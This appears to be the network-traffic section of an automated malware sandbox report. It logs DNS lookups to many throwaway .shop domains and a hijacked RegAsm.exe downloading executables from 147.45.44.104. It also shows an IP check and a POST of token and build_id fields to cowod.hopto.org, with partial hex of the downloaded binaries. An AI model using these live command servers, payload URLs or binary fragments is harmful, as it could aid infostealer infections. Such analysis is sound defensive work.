Sep 25, 2024 20:50:27.990221024 CEST	443	49762	104.21.51.224	192.168.2.5
Sep 25, 2024 20:50:27.990303993 CEST	443	49762	104.21.51.224	192.168.2.5
Sep 25, 2024 20:50:27.990365028 CEST	49762	443	192.168.2.5	104.21.51.224
Sep 25, 2024 20:50:28.016716003 CEST	49762	443	192.168.2.5	104.21.51.224
Sep 25, 2024 20:50:28.016752958 CEST	443	49762	104.21.51.224	192.168.2.5
Sep 25, 2024 20:50:28.016772032 CEST	49762	443	192.168.2.5	104.21.51.224
Sep 25, 2024 20:50:28.016782045 CEST	443	49762	104.21.51.224	192.168.2.5
Sep 25, 2024 20:50:29.636248112 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 20:50:29.636358023 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 20:50:29.647798061 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 20:50:29.652779102 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 20:51:09.582525015 CEST	49736	80	192.168.2.5	147.45.44.104

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 20:49:18.073144913 CEST	55834	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:49:18.080662966 CEST	53	55834	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:00.997594118 CEST	57662	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:01.073268890 CEST	53	57662	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:03.957945108 CEST	50223	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:03.965040922 CEST	53	50223	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:08.202058077 CEST	54992	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:08.212153912 CEST	53	54992	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:08.936630964 CEST	63337	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:08.955864906 CEST	53	63337	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:10.492098093 CEST	63087	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:11.273422003 CEST	53	63087	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:13.222928047 CEST	56512	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:13.239023924 CEST	53	56512	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:14.384182930 CEST	55767	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:14.401616096 CEST	53	55767	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:15.858640909 CEST	53002	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:16.081012011 CEST	53	53002	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:19.533698082 CEST	50295	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:19.546896935 CEST	53	50295	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:21.183860064 CEST	54644	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:21.210648060 CEST	53	54644	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:23.741942883 CEST	54607	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:23.756778955 CEST	53	54607	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:25.416115999 CEST	63639	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:25.423367023 CEST	53	63639	1.1.1.1	192.168.2.5
Sep 25, 2024 20:50:26.966331959 CEST	64267	53	192.168.2.5	1.1.1.1
Sep 25, 2024 20:50:26.988441944 CEST	53	64267	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 20:49:18.073144913 CEST	192.168.2.5	1.1.1.1	0xce8c	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:00.997594118 CEST	192.168.2.5	1.1.1.1	0x9ed1	Standard query (0)	yalubluseks.eu	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:03.957945108 CEST	192.168.2.5	1.1.1.1	0xd77f	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:08.202058077 CEST	192.168.2.5	1.1.1.1	0xb254	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:08.936630964 CEST	192.168.2.5	1.1.1.1	0x838d	Standard query (0)	drawzhotdog.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:10.492098093 CEST	192.168.2.5	1.1.1.1	0x115c	Standard query (0)	gutterydhowi.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:13.222928047 CEST	192.168.2.5	1.1.1.1	0x31b9	Standard query (0)	ghostreedmnu.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:14.384182930 CEST	192.168.2.5	1.1.1.1	0xf8ba	Standard query (0)	offensivedzvju.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:15.858640909 CEST	192.168.2.5	1.1.1.1	0xe15b	Standard query (0)	vozmeatillu.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:19.533698082 CEST	192.168.2.5	1.1.1.1	0x6cae	Standard query (0)	fragnantbui.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:21.183860064 CEST	192.168.2.5	1.1.1.1	0x289a	Standard query (0)	stogeneratmns.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:23.741942883 CEST	192.168.2.5	1.1.1.1	0xdcdf	Standard query (0)	reinforcenh.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:25.416115999 CEST	192.168.2.5	1.1.1.1	0xca2b	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:26.966331959 CEST	192.168.2.5	1.1.1.1	0x8410	Standard query (0)	performenj.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 20:49:18.080662966 CEST	1.1.1.1	192.168.2.5	0xce8c	No error (0)	steamcommunity.com	104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:01.073268890 CEST	1.1.1.1	192.168.2.5	0x9ed1	No error (0)	yalubluseks.eu	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:01.073268890 CEST	1.1.1.1	192.168.2.5	0x9ed1	No error (0)	yalubluseks.eu	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:03.965040922 CEST	1.1.1.1	192.168.2.5	0xd77f	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:03.965040922 CEST	1.1.1.1	192.168.2.5	0xd77f	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:03.965040922 CEST	1.1.1.1	192.168.2.5	0xd77f	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:08.212153912 CEST	1.1.1.1	192.168.2.5	0xb254	No error (0)	cowod.hopto.org	45.132.206.251	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:08.955864906 CEST	1.1.1.1	192.168.2.5	0x838d	No error (0)	drawzhotdog.shop	104.21.58.182	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:08.955864906 CEST	1.1.1.1	192.168.2.5	0x838d	No error (0)	drawzhotdog.shop	172.67.162.108	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:11.273422003 CEST	1.1.1.1	192.168.2.5	0x115c	No error (0)	gutterydhowi.shop	172.67.132.32	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:11.273422003 CEST	1.1.1.1	192.168.2.5	0x115c	No error (0)	gutterydhowi.shop	104.21.4.136	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:13.239023924 CEST	1.1.1.1	192.168.2.5	0x31b9	No error (0)	ghostreedmnu.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:13.239023924 CEST	1.1.1.1	192.168.2.5	0x31b9	No error (0)	ghostreedmnu.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:14.401616096 CEST	1.1.1.1	192.168.2.5	0xf8ba	No error (0)	offensivedzvju.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:14.401616096 CEST	1.1.1.1	192.168.2.5	0xf8ba	No error (0)	offensivedzvju.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:16.081012011 CEST	1.1.1.1	192.168.2.5	0xe15b	No error (0)	vozmeatillu.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:16.081012011 CEST	1.1.1.1	192.168.2.5	0xe15b	No error (0)	vozmeatillu.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:19.546896935 CEST	1.1.1.1	192.168.2.5	0x6cae	No error (0)	fragnantbui.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:19.546896935 CEST	1.1.1.1	192.168.2.5	0x6cae	No error (0)	fragnantbui.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:21.210648060 CEST	1.1.1.1	192.168.2.5	0x289a	No error (0)	stogeneratmns.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:21.210648060 CEST	1.1.1.1	192.168.2.5	0x289a	No error (0)	stogeneratmns.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:23.756778955 CEST	1.1.1.1	192.168.2.5	0xdcdf	No error (0)	reinforcenh.shop	104.21.77.130	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:23.756778955 CEST	1.1.1.1	192.168.2.5	0xdcdf	No error (0)	reinforcenh.shop	172.67.208.139	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:25.423367023 CEST	1.1.1.1	192.168.2.5	0xca2b	No error (0)	steamcommunity.com	104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:26.988441944 CEST	1.1.1.1	192.168.2.5	0x8410	No error (0)	performenj.shop	104.21.51.224	A (IP address)	IN (0x0001)	false
Sep 25, 2024 20:50:26.988441944 CEST	1.1.1.1	192.168.2.5	0x8410	No error (0)	performenj.shop	172.67.189.2	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

5.75.211.162

yalubluseks.eu

drawzhotdog.shop

gutterydhowi.shop

ghostreedmnu.shop

offensivedzvju.shop

vozmeatillu.shop

fragnantbui.shop

stogeneratmns.shop

reinforcenh.shop

performenj.shop

147.45.44.104

api.ipify.org

cowod.hopto.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49736	147.45.44.104	80	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 20:49:58.660273075 CEST	191	OUT	GET /prog/66f424e80b9cc_idsmds.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Sep 25, 2024 20:49:59.306701899 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:59 GMT Content-Type: application/octet-stream Content-Length: 26112 Last-Modified: Wed, 25 Sep 2024 14:57:44 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66f424e8-6600" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 03 70 14 f9 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 5c 00 00 00 08 00 00 00 00 00 00 be 7b 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 7b 00 00 53 00 00 00 00 80 00 00 86 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELp"0\{ @ `h{S H.text[ \ `.rsrc^@@.relocd@B{HtC7((.s(32{(2{(6\|(46\|(46\|(4RsE%oF`oGF(H(I(+oM%:&(N{oOZ{ rp((Z2{"(=6\|$(46\|((46\|,(46\|4(46\|7(4.(g(+rp(:r/p(;sl<*6\|@(
Sep 25, 2024 20:49:59.306864977 CEST	1236	IN	Data Raw: 34 00 00 0a 2a 36 02 7c 47 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 51 00 00 04 03 28 91 00 00 0a 2a 36 02 7c 54 00 00 04 03 28 91 00 00 0a 2a 36 02 7c 58 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 5d 00 00 04 03 28 34 00 00 0a 2a 13 30 04 00 6e 00 00 Data Ascii: 46\|G(46\|Q(6\|T(6\|X(46\|](40n(s(rpo(sooo o!io"o#(o$+*07(%}}}\|
Sep 25, 2024 20:49:59.306876898 CEST	1236	IN	Data Raw: 00 04 7b 0a 00 00 04 28 16 00 00 06 3a 20 01 00 00 02 7b 16 00 00 04 02 7b 17 00 00 04 7b 0a 00 00 04 17 28 3f 00 00 0a 02 7b 17 00 00 04 7b 0a 00 00 04 28 15 00 00 06 02 7b 17 00 00 04 7b 0a 00 00 04 28 18 00 00 06 6f 2d 00 00 0a 13 07 12 07 28 Data Ascii: {(: {{{(?{{({{(o-(0:A%}}\|(+:{\|%}(.{{(o-(0:A%}}\|(+{
Sep 25, 2024 20:49:59.306886911 CEST	1236	IN	Data Raw: 00 00 00 13 30 08 00 40 00 00 00 00 00 00 00 72 a0 01 00 70 28 01 00 00 06 73 54 00 00 0a 28 55 00 00 0a 28 56 00 00 0a 74 20 00 00 02 02 7b 1d 00 00 04 6f 4d 00 00 06 75 1f 00 00 02 25 02 7b 1c 00 00 04 6f 51 00 00 06 6f 53 00 00 06 2a 1b 30 03 Data Ascii: 0@rp(sT(U(Vt {oMu%{oQoS0}~Prp(oQ9NoW8%rp(oX9oYXi?{{oR9oSYo0@
Sep 25, 2024 20:49:59.306896925 CEST	896	IN	Data Raw: 30 00 00 04 fe 15 05 00 00 1b 02 15 25 0a 7d 2b 00 00 04 12 05 28 66 00 00 0a 0b 02 07 7d 31 00 00 04 02 16 7d 32 00 00 04 38 91 00 00 00 73 27 00 00 06 25 02 7b 31 00 00 04 02 7b 32 00 00 04 9a 7d 22 00 00 04 fe 06 28 00 00 06 73 5e 00 00 0a 28 Data Ascii: 0%}+(f}1}28s'%{1{2}"(s^(_o-(0:A%}+}/\|,(+L{/\|/%}+(.{2X}2{2{1i?\}1rp(([rp(
Sep 25, 2024 20:49:59.306910038 CEST	1236	IN	Data Raw: 00 04 12 00 28 15 00 00 2b 12 00 7c 40 00 00 04 28 27 00 00 0a 2a 00 13 30 02 00 2f 00 00 00 16 00 00 11 12 00 28 25 00 00 0a 7d 47 00 00 04 12 00 15 7d 46 00 00 04 12 00 7c 47 00 00 04 12 00 28 16 00 00 2b 12 00 7c 47 00 00 04 28 27 00 00 0a 2a Data Ascii: (+\|@('0/(%}G}F\|G(+\|G('0/(%}X}W\|X(+\|X('07(i}T}U}S\|T(+\|T(k0/(i}Q}P
Sep 25, 2024 20:49:59.306921005 CEST	1236	IN	Data Raw: 02 1f fe 7d 3f 00 00 04 02 7c 40 00 00 04 28 33 00 00 0a 2a 00 00 00 41 34 00 00 02 00 00 00 6c 01 00 00 7f 00 00 00 eb 01 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 86 02 00 00 8d 02 00 00 1c 00 00 00 31 00 00 01 1b 30 07 00 24 04 00 Data Ascii: }?\|@(3*A4l10${FE<%(7o}(~:A%}F}I\|G(+{I\|I%}F((8o}(~:A
Sep 25, 2024 20:49:59.306934118 CEST	1236	IN	Data Raw: 70 28 01 00 00 06 6f 88 00 00 0a 6f 7d 00 00 0a 0c 12 02 28 7e 00 00 0a 3a 3f 00 00 00 02 16 25 0a 7d 50 00 00 04 02 08 7d 52 00 00 04 02 7c 51 00 00 04 12 02 02 28 21 00 00 2b dd b7 00 00 00 02 7b 52 00 00 04 0c 02 7c 52 00 00 04 fe 15 0b 00 00 Data Ascii: p(oo}(~:?%}P}R\|Q(!+{R\|R%}P(ou&((o8&o@or<Xi?rp(}P\|Q(}P\|Q(
Sep 25, 2024 20:49:59.306946039 CEST	1236	IN	Data Raw: 00 00 0a 0b 12 01 28 30 00 00 0a 3a 3f 00 00 00 02 17 25 0a 7d 5c 00 00 04 02 07 7d 5e 00 00 04 02 7c 5d 00 00 04 12 01 02 28 26 00 00 2b dd 0a 01 00 00 02 7b 5e 00 00 04 0b 02 7c 5e 00 00 04 fe 15 07 00 00 01 02 15 25 0a 7d 5c 00 00 04 12 01 28 Data Ascii: (0:?%}\}^\|](&+{^\|^%}\(.(5o-(0:?%}\}^\|](&+{^\|^%}\(.#$@((o-(0:?%}\}^\|](&
Sep 25, 2024 20:49:59.306957960 CEST	1236	IN	Data Raw: 00 21 00 03 01 10 00 42 00 00 00 05 00 1e 00 23 00 03 01 10 00 52 01 00 00 05 00 22 00 27 00 03 01 10 00 03 03 00 00 11 00 23 00 29 00 03 01 10 00 59 03 00 00 11 00 27 00 2b 00 03 01 10 00 e5 03 00 00 11 00 2b 00 2d 00 03 01 10 00 3d 01 00 00 11 Data Ascii: !B#R"'#)Y'++-=3/61:3=<z>>?@BFBIPDSFWH\J_L
Sep 25, 2024 20:49:59.312526941 CEST	1236	IN	Data Raw: 00 12 00 50 20 00 00 00 00 86 18 dc 0d 27 00 13 00 50 20 00 00 00 00 86 18 dc 0d 27 00 13 00 d6 20 00 00 00 00 83 00 08 01 69 00 13 00 50 20 00 00 00 00 86 18 dc 0d 27 00 14 00 f4 2a 00 00 00 00 83 00 e6 00 27 00 14 00 50 20 00 00 00 00 86 18 dc Data Ascii: P 'P ' iP ''P 'L+'P '+ ' Io4,'P '!','!U-'!U.
Sep 25, 2024 20:50:01.199445009 CEST	192	OUT	GET /prog/66f4247d51812_lfdsjna.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Sep 25, 2024 20:50:01.391772985 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:50:01 GMT Content-Type: application/octet-stream Content-Length: 377384 Last-Modified: Wed, 25 Sep 2024 14:55:57 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66f4247d-5c228" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 76 23 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 92 05 00 00 08 00 00 00 00 00 00 ee b0 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 b0 05 00 57 00 00 00 00 c0 05 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 9c 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 5c af 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELv#f @ `W(&\ H.text `.rsrc@@.reloc@BHM\=S!}St&Pi@2^-4N^IGXC:,<JI{y]cf4sO);xozdi0a4YZyR7U8fdL*eq71CWBmKL$f'O6,-Bh(l}H7$$qyb@g@B[1+sIrZodd]X6fH=#5Xe!U]}#Ov

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49740	104.26.12.205	80	7060	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 20:50:03.976325035 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Sep 25, 2024 20:50:05.210412025 CEST	227	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:04 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8d32a37f654251-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Sep 25, 2024 20:50:05.211638927 CEST	227	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:04 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8d32a37f654251-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Sep 25, 2024 20:50:05.212116957 CEST	227	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:04 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8d32a37f654251-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49743	104.26.12.205	80	7060	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 20:50:06.408675909 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Sep 25, 2024 20:50:06.895653009 CEST	227	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:06 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8d32b0ad8d438b-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49745	45.132.206.251	80	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 20:50:08.262001991 CEST	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDHIEBAAKJDHIECAAFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: cowod.hopto.org Content-Length: 3213 Connection: Keep-Alive Cache-Control: no-cache
Sep 25, 2024 20:50:08.262001991 CEST	3213	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 Data Ascii: ------FIDHIEBAAKJDHIECAAFHContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------FIDHIEBAAKJDHIECAAFHContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------FIDHIEBAAKJDHI

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	104.102.49.254	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:19 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:19 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 25 Sep 2024 18:49:19 GMT Content-Length: 34725 Connection: close Set-Cookie: sessionid=431fa57a46018b55e8a208da; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-25 18:49:19 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
